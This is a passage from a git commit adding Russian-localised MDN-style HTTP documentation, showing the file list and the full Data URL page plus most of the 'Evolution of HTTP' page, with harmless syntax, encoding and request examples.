From 074785cea106179cb3305637055ab0a009ca74f2 Mon Sep 17 00:00:00 2001 From: Peter Bengtsson Date: Tue, 8 Dec 2020 14:42:52 -0500 Subject: initial commit --- .../web/http/basics_of_http/data_uris/index.html | 131 +++++ .../basics_of_http/evolution_of_http/index.html | 200 +++++++ .../identifying_resources_on_the_web_ru/index.html | 188 +++++++ files/ru/web/http/basics_of_http/index.html | 52 ++ .../mime_types/common_types/index.html | 394 ++++++++++++++ .../web/http/basics_of_http/mime_types/index.html | 318 ++++++++++++ files/ru/web/http/conditional_requests/index.html | 144 ++++++ .../connection_management_in_http_1.x/index.html | 84 +++ files/ru/web/http/content_negotiation/index.html | 131 +++++ .../list_of_default_accept_values/index.html | 256 +++++++++ .../corsalloworiginnotmatchingorigin/index.html | 47 ++ .../http/cors/errors/corsdidnotsucceed/index.html | 28 + .../web/http/cors/errors/corsdisabled/index.html | 24 + .../cors/errors/corsmissingalloworigin/index.html | 58 +++ files/ru/web/http/cors/errors/index.html | 76 +++ files/ru/web/http/cors/index.html | 542 +++++++++++++++++++ files/ru/web/http/csp/index.html | 193 +++++++ files/ru/web/http/feature_policy/index.html | 149 ++++++ .../feature_policy/using_feature_policy/index.html | 145 ++++++ files/ru/web/http/index.html | 105 ++++ files/ru/web/http/messages/index.html | 147 ++++++ files/ru/web/http/methods/connect/index.html | 82 +++ files/ru/web/http/methods/delete/index.html | 101 ++++ files/ru/web/http/methods/get/index.html | 75 +++ files/ru/web/http/methods/head/index.html | 77 +++ files/ru/web/http/methods/index.html | 73 +++ files/ru/web/http/methods/options/index.html | 126 +++++ files/ru/web/http/methods/patch/index.html | 100 ++++ files/ru/web/http/methods/post/index.html | 122 +++++ files/ru/web/http/methods/put/index.html | 104 ++++ files/ru/web/http/methods/trace/index.html | 77 +++ files/ru/web/http/overview/index.html | 172 +++++++ files/ru/web/http/redirections/index.html | 260 ++++++++++ .../web/http/server-side_access_control/index.html | 212 ++++++++ files/ru/web/http/session/index.html | 158 ++++++ files/ru/web/http/status/100/index.html | 42 ++ files/ru/web/http/status/101/index.html | 45 ++ files/ru/web/http/status/103/index.html | 50 ++ files/ru/web/http/status/200/index.html | 50 ++ files/ru/web/http/status/201/index.html | 43 ++ files/ru/web/http/status/202/index.html | 33 ++ files/ru/web/http/status/203/index.html | 37 ++ files/ru/web/http/status/204/index.html | 49 ++ files/ru/web/http/status/205/index.html | 35 ++ files/ru/web/http/status/206/index.html | 83 +++ files/ru/web/http/status/300/index.html | 41 ++ files/ru/web/http/status/301/index.html | 58 +++ files/ru/web/http/status/302/index.html | 61 +++ files/ru/web/http/status/303/index.html | 57 ++ files/ru/web/http/status/304/index.html | 46 ++ files/ru/web/http/status/307/index.html | 66 +++ files/ru/web/http/status/308/index.html | 46 ++ files/ru/web/http/status/400/index.html | 33 ++ files/ru/web/http/status/401/index.html | 54 ++ files/ru/web/http/status/402/index.html | 49 ++ files/ru/web/http/status/403/index.html | 48 ++ files/ru/web/http/status/404/index.html | 56 ++ files/ru/web/http/status/405/index.html | 37 ++ files/ru/web/http/status/406/index.html | 61 +++ files/ru/web/http/status/407/index.html | 54 ++ files/ru/web/http/status/408/index.html | 39 ++ files/ru/web/http/status/409/index.html | 40 ++ files/ru/web/http/status/410/index.html | 47 ++ files/ru/web/http/status/411/index.html | 36 ++ files/ru/web/http/status/412/index.html | 42 ++ files/ru/web/http/status/413/index.html | 34 ++ files/ru/web/http/status/414/index.html | 41 ++ files/ru/web/http/status/415/index.html | 37 ++ files/ru/web/http/status/416/index.html | 49 ++ files/ru/web/http/status/417/index.html | 41 ++ files/ru/web/http/status/418/index.html | 48 ++ files/ru/web/http/status/422/index.html | 41 ++ files/ru/web/http/status/425/index.html | 40 ++ files/ru/web/http/status/426/index.html | 46 ++ files/ru/web/http/status/428/index.html | 39 ++ files/ru/web/http/status/429/index.html | 42 ++ files/ru/web/http/status/431/index.html | 37 ++ files/ru/web/http/status/451/index.html | 61 +++ files/ru/web/http/status/500/index.html | 45 ++ files/ru/web/http/status/501/index.html | 39 ++ files/ru/web/http/status/502/index.html | 47 ++ files/ru/web/http/status/503/index.html | 43 ++ files/ru/web/http/status/504/index.html | 41 ++ files/ru/web/http/status/505/index.html | 33 ++ files/ru/web/http/status/511/index.html | 37 ++ files/ru/web/http/status/index.html | 353 +++++++++++++ .../index.html" | 123 +++++ .../accept-charset/index.html" | 83 +++ .../accept-language/index.html" | 94 ++++ .../accept-patch/index.html" | 83 +++ .../accept-ranges/index.html" | 72 +++ .../accept/index.html" | 89 ++++ .../access-control-allow-headers/index.html" | 93 ++++ .../access-control-allow-methods/index.html" | 85 +++ .../access-control-allow-origin/index.html" | 94 ++++ .../access-control-max-age/index.html" | 69 +++ .../authorization/index.html" | 91 ++++ .../cache-control/index.html" | 173 +++++++ .../connection/index.html" | 53 ++ .../content-disposition/index.html" | 137 +++++ .../content-encoding/index.html" | 107 ++++ .../content-language/index.html" | 103 ++++ .../content-length/index.html" | 67 +++ .../content-type/index.html" | 111 ++++ .../date/index.html" | 86 ++++ .../dnt/index.html" | 83 +++ .../etag/index.html" | 98 ++++ .../expect/index.html" | 87 ++++ .../expires/index.html" | 80 +++ .../host/index.html" | 72 +++ .../if-match/index.html" | 86 ++++ .../if-modified-since/index.html" | 94 ++++ .../if-unmodified-since/index.html" | 103 ++++ .../index.html" | 573 +++++++++++++++++++++ .../last-modified/index.html" | 94 ++++ .../origin/index.html" | 77 +++ .../pragma/index.html" | 78 +++ .../range/index.html" | 88 ++++ .../referer/index.html" | 94 ++++ .../retry-after/index.html" | 86 ++++ .../set-cookie/index.html" | 193 +++++++ .../strict-transport-security/index.html" | 112 ++++ .../vary/index.html" | 81 +++ .../x-content-type-options/index.html" | 83 +++ .../x-forwarded-for/index.html" | 72 +++ .../x-xss-protection/index.html" | 87 ++++ .../\320\272\321\203\320\272\320\270/index.html" | 173 +++++++ .../index.html" | 165 ++++++ 128 files changed, 12355 insertions(+) create mode 100644 files/ru/web/http/basics_of_http/data_uris/index.html create mode 100644 files/ru/web/http/basics_of_http/evolution_of_http/index.html create mode 100644 files/ru/web/http/basics_of_http/identifying_resources_on_the_web_ru/index.html create mode 100644 files/ru/web/http/basics_of_http/index.html create mode 100644 files/ru/web/http/basics_of_http/mime_types/common_types/index.html create mode 100644 files/ru/web/http/basics_of_http/mime_types/index.html create mode 100644 files/ru/web/http/conditional_requests/index.html create mode 100644 files/ru/web/http/connection_management_in_http_1.x/index.html create mode 100644 files/ru/web/http/content_negotiation/index.html create mode 100644 files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html create mode 100644 files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html create mode 100644 files/ru/web/http/cors/errors/corsdidnotsucceed/index.html create mode 100644 files/ru/web/http/cors/errors/corsdisabled/index.html create mode 100644 files/ru/web/http/cors/errors/corsmissingalloworigin/index.html create mode 100644 files/ru/web/http/cors/errors/index.html create mode 100644 files/ru/web/http/cors/index.html create mode 100644 files/ru/web/http/csp/index.html create mode 100644 files/ru/web/http/feature_policy/index.html create mode 100644 files/ru/web/http/feature_policy/using_feature_policy/index.html create mode 100644 files/ru/web/http/index.html create mode 100644 files/ru/web/http/messages/index.html create mode 100644 files/ru/web/http/methods/connect/index.html create mode 100644 files/ru/web/http/methods/delete/index.html create mode 100644 files/ru/web/http/methods/get/index.html create mode 100644 files/ru/web/http/methods/head/index.html create mode 100644 files/ru/web/http/methods/index.html create mode 100644 files/ru/web/http/methods/options/index.html create mode 100644 files/ru/web/http/methods/patch/index.html create mode 100644 files/ru/web/http/methods/post/index.html create mode 100644 files/ru/web/http/methods/put/index.html create mode 100644 files/ru/web/http/methods/trace/index.html create mode 100644 files/ru/web/http/overview/index.html create mode 100644 files/ru/web/http/redirections/index.html create mode 100644 files/ru/web/http/server-side_access_control/index.html create mode 100644 files/ru/web/http/session/index.html create mode 100644 files/ru/web/http/status/100/index.html create mode 100644 files/ru/web/http/status/101/index.html create mode 100644 files/ru/web/http/status/103/index.html create mode 100644 files/ru/web/http/status/200/index.html create mode 100644 files/ru/web/http/status/201/index.html create mode 100644 files/ru/web/http/status/202/index.html create mode 100644 files/ru/web/http/status/203/index.html create mode 100644 files/ru/web/http/status/204/index.html create mode 100644 files/ru/web/http/status/205/index.html create mode 100644 files/ru/web/http/status/206/index.html create mode 100644 files/ru/web/http/status/300/index.html create mode 100644 files/ru/web/http/status/301/index.html create mode 100644 files/ru/web/http/status/302/index.html create mode 100644 files/ru/web/http/status/303/index.html create mode 100644 files/ru/web/http/status/304/index.html create mode 100644 files/ru/web/http/status/307/index.html create mode 100644 files/ru/web/http/status/308/index.html create mode 100644 files/ru/web/http/status/400/index.html create mode 100644 files/ru/web/http/status/401/index.html create mode 100644 files/ru/web/http/status/402/index.html create mode 100644 files/ru/web/http/status/403/index.html create mode 100644 files/ru/web/http/status/404/index.html create mode 100644 files/ru/web/http/status/405/index.html create mode 100644 files/ru/web/http/status/406/index.html create mode 100644 files/ru/web/http/status/407/index.html create mode 100644 files/ru/web/http/status/408/index.html create mode 100644 files/ru/web/http/status/409/index.html create mode 100644 files/ru/web/http/status/410/index.html create mode 100644 files/ru/web/http/status/411/index.html create mode 100644 files/ru/web/http/status/412/index.html create mode 100644 files/ru/web/http/status/413/index.html create mode 100644 files/ru/web/http/status/414/index.html create mode 100644 files/ru/web/http/status/415/index.html create mode 100644 files/ru/web/http/status/416/index.html create mode 100644 files/ru/web/http/status/417/index.html create mode 100644 files/ru/web/http/status/418/index.html create mode 100644 files/ru/web/http/status/422/index.html create mode 100644 files/ru/web/http/status/425/index.html create mode 100644 files/ru/web/http/status/426/index.html create mode 100644 files/ru/web/http/status/428/index.html create mode 100644 files/ru/web/http/status/429/index.html create mode 100644 files/ru/web/http/status/431/index.html create mode 100644 files/ru/web/http/status/451/index.html create mode 100644 files/ru/web/http/status/500/index.html create mode 100644 files/ru/web/http/status/501/index.html create mode 100644 files/ru/web/http/status/502/index.html create mode 100644 files/ru/web/http/status/503/index.html create mode 100644 files/ru/web/http/status/504/index.html create mode 100644 files/ru/web/http/status/505/index.html create mode 100644 files/ru/web/http/status/511/index.html create mode 100644 files/ru/web/http/status/index.html create mode 100644 "files/ru/web/http/\320\260\320\262\321\202\320\276\321\200\320\270\320\267\320\260\321\206\320\270\321\217/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept-charset/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept-language/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept-patch/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept-ranges/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/access-control-allow-headers/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/access-control-allow-methods/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/access-control-allow-origin/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/access-control-max-age/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/authorization/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/cache-control/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/connection/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-disposition/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-encoding/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-language/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-length/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-type/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/date/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/dnt/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/etag/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/expect/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/expires/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/host/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/if-match/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/if-modified-since/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/if-unmodified-since/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/last-modified/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/origin/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/pragma/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/range/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/referer/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/retry-after/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/set-cookie/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/strict-transport-security/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/vary/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/x-content-type-options/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/x-forwarded-for/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/x-xss-protection/index.html" create mode 100644 "files/ru/web/http/\320\272\321\203\320\272\320\270/index.html" create mode 100644 "files/ru/web/http/\320\272\321\215\321\210\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265/index.html" (limited to 'files/ru/web/http') diff --git a/files/ru/web/http/basics_of_http/data_uris/index.html b/files/ru/web/http/basics_of_http/data_uris/index.html new file mode 100644 index 0000000000..107a3298bc --- /dev/null +++ b/files/ru/web/http/basics_of_http/data_uris/index.html @@ -0,0 +1,131 @@ +--- +title: Data URL +slug: Web/HTTP/Basics_of_HTTP/Data_URIs +translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs +--- +
{{HTTPSidebar}}
+ +

Data URL, URL имеющий приставку data:, делает возможным встраивание файлов небольшого размера прямо в документ.

+ +
+

Заметьте: современные браузеры обрабатывают Data URL, как неявный уникальный origin, и не заимствуют значение origin из объекта настроек ответственного за навигацию.

+
+ +

Синтаксис

+ +

Data URL состоит из четырёх сегментов: приставки (data:), MIME типа, описывающего  тип данных, дополнительного ключевого слова base64 для нетекстовых данных и самой строки данных:

+ +
data:[<тип данных>][;base64],<данные>
+
+ +

тип данных описывается строкой в формате MIME типа, например 'image/jpeg' для JPEG файла изображения. При не указывании типа данных, браузер автоматически будет интерпретировать строку данных, как  text/plain;charset=US-ASCII

+ +

Если данные представляют собой какую-либо текстовую информацию, вы можете просто вставить эту текстовую строку в Data URL (используя соответствующие для типа данных сущности и знаки экранирования). В ином случае вам будет необходимо использовать ключевое слово base64 перед вставкой base64-кодированных бинарных данных. Дополнительную информацию о MIME типах вы сможете найти здесь и здесь.

+ +

Несколько примеров:

+ +
+
data:,Hello%2C%20World!
+
Простые text/plain данные
+
data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D
+
base64-кодированная версия примера выше
+
data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E
+
HTML строка вида: <h1>Hello, World!</h1>
+
data:text/html,<script>alert('hi');</script>
+
HTML строка, вызывающая JavaScript alert функцию. Заметьте необходимость закрывающего <script> тега.
+
+ +

Кодирование данных в формат base64

+ +

Base64 относится к группе транспортных кодировок, и позволяет представлять бинарные данные в виде ASCII строк, переводя их в radix-64 представление. Состоя только из ASCII символов, base64 строки являются допустимыми для использования в URL, по этой причине они могут быть использованы и в Data URL.

+ +

Кодирование в Javascript

+ +

Web API имеет встроенные методы для кодирования и декодирования формата base64: Base64 кодирование и декодирование.

+ +

Кодирование на Unix системах

+ +

На Linux и Mac OS X системах, кодирование файлов или строк в формат Base64 может быть выполнено через программу base64 в командной строке (или, в качестве альтернативы, программу uuencode с -m аргументом).

+ +
echo -n hello|base64
+# выводит в консоль: aGVsbG8=
+
+echo -n hello>a.txt
+base64 a.txt
+# выводит в консоль: aGVsbG8=
+
+base64 a.txt>b.txt
+# записывает в файл b.txt: aGVsbG8=
+
+ +

Кодирование на Microsoft Windows

+ +

Кодирование на Windows может быть выполнено через powershell или какую-либо другую предназначенную для этого программу. Так же кодирование может быть выполнено и через программу base64 (смотрите секцию Кодирование на Unix системах), при условии активированной технологии WSL.

+ +
[convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("hello"))
+# выводит в консоль: aGVsbG8=
+
+bash -c "echo -n hello`|base64"
+# выводит в консоль: aGVsbG8=
+# обратный апостроф (`) используется здесь для экранирования символа вертикальной черты (|)
+
+ +

Распространённые проблемы

+ +

Эта секция описывает ряд проблем, которые могут возникнуть при использовании Data URL.

+ +

Для примера рассмотрим Data URL вида:

+ +
data:text/html,lots of text...<p><a name%3D"bottom">bottom</a>?arg=val
+
+ +

результатом декодирования которого будет HTML строка:

+ +
lots of text...<p><a name="bottom">bottom</a>?arg=val
+
+ +
+
Синтаксис
+
Data URL представляет собой простой формат, но даже в нём можно забыть добавить запятую перед сегментом данных или произвести ошибку во время их base64 кодирования.
+
Форматирование внутри документа
+
Встраивание Data URL по сути является встраиванием файла внутрь файла, и длина его строки может быть намного шире, чем ширина заключающего его документа. Так же, несмотря на то, что использование пробелов считается обычной практикой при форматировании данных, есть вероятность, что у вас возникнут проблемы при их base64 кодировании.
+
Ограничения длины
+
Хотя Firefox поддерживает Data URL практически неограниченных размеров, каждый отдельный браузер имеет свои ограничения на их длину. Например, Opera 11 ограничивает допустимую длину URL до 65535 символов, что означает ограничение сегмента данных в Data URL до 65529 символов (длина в 65529 символов взята из условия использования только только data: сегмента, без определения MIME типа данных).
+
Нехватка возможности обработки ошибок
+
Опечатки в определении MIME типа или написания ключевого слова 'base64' будут проигнорированы без каких-либо уведомлений об ошибках.
+
Отсутствие поддержки строки параметров
+
+

В связи с неопределённостью типа сегмента данных в Data URL, строка параметров (характерные для страницы параметры, представляющиеся в виде <url>?parameter-data), добавленная к сегменту данных будет рассматриваться, как часть этих данных.

+
+
Проблемы с безопасностью
+
Несколько проблем с безопасностью (например: фишинг) связаны с Data URL и переходом по ним из корневого контекста документа. Чтобы избавиться от этих проблем, переход по URI, начинающихся со схемы data://, из корневого контекста документа перестал быть возможен в Firefox, начиная с версии 59 (и начиная с версии 58 в Nightly/Beta вариантах браузера). Надеемся, что остальные браузеры так же последуют этому примеру. Для дополнительной информации смотрите Blocking Top-Level Navigations to data URLs for Firefox 58.
+
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияЗаголовок
{{RFC("2397")}}The "data" URL scheme
+ +

Совместимость с браузерами

+ +

{{compat("http.data-url")}}

+ +

Смотрите так же

+ + diff --git a/files/ru/web/http/basics_of_http/evolution_of_http/index.html b/files/ru/web/http/basics_of_http/evolution_of_http/index.html new file mode 100644 index 0000000000..a9605942e8 --- /dev/null +++ b/files/ru/web/http/basics_of_http/evolution_of_http/index.html @@ -0,0 +1,200 @@ +--- +title: Evolution of HTTP +slug: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP +tags: + - HTTP + - Руководство +translation_of: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP +--- +

{{HTTPSidebar}}

+ +

HTTP is the underlying protocol of the World Wide Web. Invented by Tim Berners-Lee in the years 1989-1991, HTTP has seen many changes, keeping most of the simplicity and further shaping its flexibility. HTTP has evolved, from an early protocol to exchange files in a semi-trusted laboratory environment, to the modern maze of the Internet, now carrying images, videos in high resolution and 3D.

+ +

Invention of the World Wide Web

+ +

In 1989, while he was working at CERN, Tim Berners-Lee wrote a proposal to build a hypertext system over the Internet. Initially calling it the Mesh, it was later renamed to World Wide Web during its implementation in 1990. Built over the existing TCP and IP protocols, it consisted of 4 building blocks:

+ + + +

These four building blocks were completed by the end of 1990, and the first servers were already running outside of CERN by early 1991. On August 6th 1991, Tim Berners-Lee's post on the public alt.hypertext newsgroup is now considered as the official start of the World Wide Web as a public project.

+ +

The HTTP protocol used in those early phases was very simple, later dubbed HTTP/0.9, and sometimes as the one-line protocol.

+ +

HTTP/0.9 – The one-line protocol

+ +

The initial version of HTTP had no version number; it has been later called 0.9 to differentiate it from the later versions. HTTP/0.9 is extremely simple: requests consist of a single line and start with the only possible method {{HTTPMethod("GET")}} followed by the path to the resource (not the URL as both the protocol, server, and port are unnecessary once connected to the server).

+ +
GET /mypage.html
+ +

The response is extremely simple too: it only consisted of the file itself.

+ +
<HTML>
+A very simple HTML page
+</HTML>
+ +

Unlike subsequent evolutions, there were no HTTP headers, meaning that only HTML files could be transmitted, but no other type of documents. There were no status or error codes: in case of a problem, a specific HTML file was send back with the description of the problem contained in it, for human consumption.

+ +

HTTP/1.0 – Building extensibility

+ +

HTTP/0.9 was very limited and both browsers and servers quickly extended it to be more versatile:

+ + + +

A typical request was then looking like this:

+ +
GET /mypage.html HTTP/1.0
+User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
+
+200 OK
+Date: Tue, 15 Nov 1994 08:12:31 GMT
+Server: CERN/3.0 libwww/2.17
+Content-Type: text/html
+<HTML>
+A page with an image
+  <IMG SRC="/myimage.gif">
+</HTML>
+ +

Followed by a second connection and request to fetch the image:

+ +
GET /myimage.gif HTTP/1.0
+User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
+
+200 OK
+Date: Tue, 15 Nov 1994 08:12:32 GMT
+Server: CERN/3.0 libwww/2.17
+Content-Type: text/gif
+(image content)
+ +

These novelties have not been introduced as concerted effort, but as a try-and-see approach over the 1991-1995 period: a server and a browser added one feature and it saw if it get traction. A lot of interoperability problems were common. In November 1996, in order to solve these annoyances, an informational document describing the common practices has been published, {{RFC(1945)}}. This is the definition of HTTP/1.0 and it is notable that, in the narrow sense of the term, it isn't an official standard.

+ +

HTTP/1.1 – The standardized protocol

+ +

In parallel to the somewhat chaotic use of the diverse implementations of HTTP/1.0, and since 1995, well before the publication of HTTP/1.0 document the next year, proper standardization was in progress. The first standardized version of HTTP, HTTP/1.1 was published in early 1997, only a few months after HTTP/1.0.

+ +

HTTP/1.1 clarified ambiguities and introduced numerous improvements:

+ + + +

A typical flow of requests, all through one single connection is now looking like this:

+ +
GET /en-US/docs/Glossary/Simple_header HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header
+
+200 OK
+Connection: Keep-Alive
+Content-Encoding: gzip
+Content-Type: text/html; charset=utf-8
+Date: Wed, 20 Jul 2016 10:55:30 GMT
+Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a"
+Keep-Alive: timeout=5, max=1000
+Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT
+Server: Apache
+Transfer-Encoding: chunked
+Vary: Cookie, Accept-Encoding
+
+(content)
+
+
+GET /static/img/header-background.png HTTP/1.1
+Host: developer.cdn.mozilla.net
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: */*
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header
+
+200 OK
+Age: 9578461
+Cache-Control: public, max-age=315360000
+Connection: keep-alive
+Content-Length: 3077
+Content-Type: image/png
+Date: Thu, 31 Mar 2016 13:34:46 GMT
+Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT
+Server: Apache
+
+(image content of 3077 bytes)
+ +

HTTP/1.1 was first published as {{rfc(2068)}} in January 1997.

+ +

More than 15 years of extensions

+ +

Thanks to its extensibility – creating new headers or methods is easy – and even if the HTTP/1.1 protocol was refined over two revisions, {{RFC("2616")}} published in June 1999 and the series of {{RFC("7230")}}-{{RFC("7235")}} published in June 2014 in prevision of the release of HTTP/2, this protocol has been extremely stable over more than 15 years.

+ +

Using HTTP for secure transmissions

+ +

The largest change that happened to HTTP was done as early as end of 1994. Instead of sending HTTP over a basic TCP/IP stack, Netscape Communication created an additional encrypted transmission layer on top of it: SSL. SSL 1.0 was never released outside the companies, but SSL 2.0 and its successors SSL 3.0 and SSL 3.1 allowed for the creation of e-commerce Web sites by encrypting and guaranteeing the authenticity of the messages exchanged between the server and client. SSL was put on the standards track and eventually became TLS, with version 1.0, 1.1, and 1.2 appearing successfully to close vulnerabilities. TLS 1.3 is currently in the making.

+ +

During the same time, the need for an encrypted transport layer raised: the Web left the relative trustiness of a mostly academic network, to a jungle where advertisers, random individuals or criminals compete to get as much private information about people, try to impersonate them or even to replace data transmitted by altered ones. As the applications built over HTTP became more and more powerful, having access to more and more private information like address books, e-mail, or the geographic position of the user, the need to have TLS became ubiquitous even outside the e-commerce use case.

+ +

Using HTTP for complex applications

+ +

The original vision of Tim Berners-Lee for the Web wasn't a read-only medium. He envisioned a Web were people can add and move documents remotely, a kind of distributed file system. Around 1996, HTTP has been extended to allow authoring, and a standard called WebDAV was created. It has been further extended for specific applications like CardDAV to handle address book entries and CalDAV to deal with calendars. But all these *DAV extensions had a flaw: they had to be implemented by the servers to be used, which was quite complex. Their use on Web realms stayed confidential.

+ +

In 2000, a new pattern for using HTTP was designed: {{glossary("REST", "representational state transfer")}} (or REST). The actions induced by the API were no more conveyed by new HTTP methods, but only by accessing specific URIs with basic HTTP/1.1 methods. This allowed any Web application to provide an API to allow retrieval and modification of its data without having to updated the browsers or the servers: all what is needed was embedded in the files served by the Web sites through standard HTTP/1.1. The drawback of the REST model resides in the fact that each website defines its own non-standard RESTful API and has total control on it; unlike the *DAV extensions were clients and servers are interoperable. RESTful APIs became very common in the 2010s.

+ +

Since 2005, the set of APIs available to Web pages greatly increased and several of these APIs created extensions, mostly new specific HTTP headers, to the HTTP protocol for specific purposes:

+ + + +

Relaxing the security-model of the Web

+ +

HTTP is independent of the security model of the Web, the same-origin policy. In fact, the current Web security model has been developed after the creation of HTTP! Over the years, it has proved useful to be able to be more lenient, by allowing under certain constraints to lift some of the restriction of this policy. How much and when such restrictions are lifted is transmitted by the server to the client using a new bunch of HTTP headers. These are defined in specifications like Cross-Origin Resource Sharing (CORS) or the Content Security Policy (CSP).

+ +

In addition to these large extensions, numerous other headers have been added, sometimes experimentally only. Notable headers are Do Not Track ({{HTTPHeader("DNT")}}) header to control privacy, {{HTTPHeader("X-Frame-Options")}}, or {{HTTPHeader('Upgrade-Insecure-Request')}} but many more exist.

+ +

HTTP/2 – A protocol for greater performance

+ +

Over the years, Web pages have become much more complex, even becoming applications in their own right. The amount of visual media displayed, the volume and size of  scripts adding interactivity, has also increased: much more data is transmitted over significantly more HTTP requests. HTTP/1.1 connections need requests sent in the correct order. Theoretically, several parallel connections could be used (typically between 5 and 8), bringing considerable overhead and complexity. For example, HTTP pipelining has emerged as a resource burden in Web development.

+ +

In the first half of the 2010s, Google demonstrated an alternative way of exchanging data between client and server, by implementing an experimental protocol SPDY. This amassed interest from developers working on both browsers and servers. Defining an increase in responsiveness, and solving the problem of duplication of data transmitted, SPDY served as the foundations of the HTTP/2 protocol.

+ +

The HTTP/2 protocol has several prime differences from the HTTP/1.1 version:

+ + + +

Officially standardized, in May 2015, HTTP/2 has had much success. By July 2016, 8.7% of all Web sites[1] were already using it, representing more than 68% of all requests[2]. High-traffic Web sites showed the most rapid adoption, saving considerably on data transfer overheads and subsequent budgets.

+ +

